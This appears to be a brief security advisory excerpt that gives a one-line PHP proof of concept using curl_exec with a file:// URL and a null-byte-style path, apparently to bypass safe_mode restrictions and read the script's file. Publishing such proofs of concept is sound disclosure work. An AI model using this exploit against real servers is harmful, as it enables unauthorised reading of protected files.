The following proof-of-concept PHP code is available:

var_dump(curl_exec(curl_init("file://safe_mode_bypass/x00".__FILE__)));